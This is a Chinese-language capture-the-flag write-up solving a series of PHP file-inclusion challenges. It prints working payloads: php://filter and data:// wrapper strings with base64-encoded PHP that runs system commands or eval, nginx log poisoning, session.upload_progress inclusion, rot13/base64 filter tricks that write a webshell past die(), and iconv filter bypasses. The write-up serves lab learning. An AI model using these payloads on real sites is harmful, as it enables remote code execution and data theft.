web-78

有个include,我们使用filter协议
1 | ?file=php://filter/convert.base64-encode/resource=flag.php |
得到flag.php的base64编码,进行解码得到flag

web-79
这题过滤了php,所以我们就不能用php伪协议了,我们用data伪协议
payload
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== |
在查看页面源码就得到flag了

web-80-81(日志包含)
这题php和data都被过滤了,我们采用日志包含进行绕过
1 | ?file=/var/log/nginx/access.log&1=system('tac f*'); |

得到flag

web-82-86(session.upload_progress)
这道题把.给过滤了,我们采用session.upload_progress来做
linux下,默认保存session的文件路径/tmp或/var/lib/php/session;Windows下session文件的路径不固定。
关于session,只要你与一个网站建立连接,网站某个文件夹下就会产生session文件,关闭浏览器或者过了一段时间,session就会失效,再次建立连接的话就会产生新的session文件。
我们使用脚本
1 | import requests |
运行,得到flag

或者使用条件竞争(没做出来)https://www.cnblogs.com/NPFS/p/13795170.html
web-87
这道题过滤了php和data还有:和.,同时将传入的file进行了unicode解码
我们知道当服务器端接收到经过URL编码的数据后(数据包里的被URL编码的数据也会被URL解码),会自动进行解码,故此处file参数的值需要二次URL编码。
简单来说,第一次服务器默认解码一次,第二次在代码端urldecode解码一次
关于URL编码与解码。URL编码解码详解,看这一篇就够够的了
当 URL 路径或者查询参数中,带有中文或者特殊字符的时候,就需要对 URL 进行编码。URL 编码协议规定(RFC3986 协议):URL 中只允许使用 ASCII 字符集可以显示的字符,比如英文字母、数字、和- _ . ~ ! *这 6 个特殊字符。哪些字符需要编码,分为以下三种情况:
- ASCII 表中没有对应的可显示字符,例如,汉字。
- 不安全字符,包括:
#、”、%、 <、>、[、]、{、}、|、\、^。 - 部分保留字符,即
&、/、:、;、=、?、@。
URL中出现特殊字符,火狐浏览器会先对齐URL编码再发送,使得请求数据包中的请求的参数是经过编码后的数据。
接下来来看写入文件内容
1 | <?php die('大佬别秀了');?> |
string.rot13过滤器 一种字符处理方式,将字符右移13位
payload
1 | GET |
最后访问a.php,得到flag

这题也能用base64做
1 | php://filter/convert.base64-encode/resource=a.php |
1 | content=11PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg== |
web-88

这题过滤了php和一些字符,我们使用data伪协议来做
由于过滤了+和=,我们在编码是要注意用字符来补位
1 | <?php eval($_GET[1]);?>a |
多加个a是用来去掉base64编码后的=
最终payload:
1 | ?file=data://text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7ID8+&1=system('tac f*'); |
web-116
下载视频后去hxd或者010打开,发现里面有张图片,里面有源码。

看到源码,没有过滤flag.php,直接file=flag.php
抓包发现flag

web-117
这题唯独没有过滤php://filter,这里需要使用convert.iconv.*过滤器
1 | # url |
convert.iconv.*其实就是一个字符转换,convert.iconv.<input-encoding>.<output-encoding>。可以在linux下使用iconv进行字符编码转换,语法如下:
1 | iconv -f UCS-2LE -t UCS-2BE [源文件名] > [输出文件名] |
得到flag
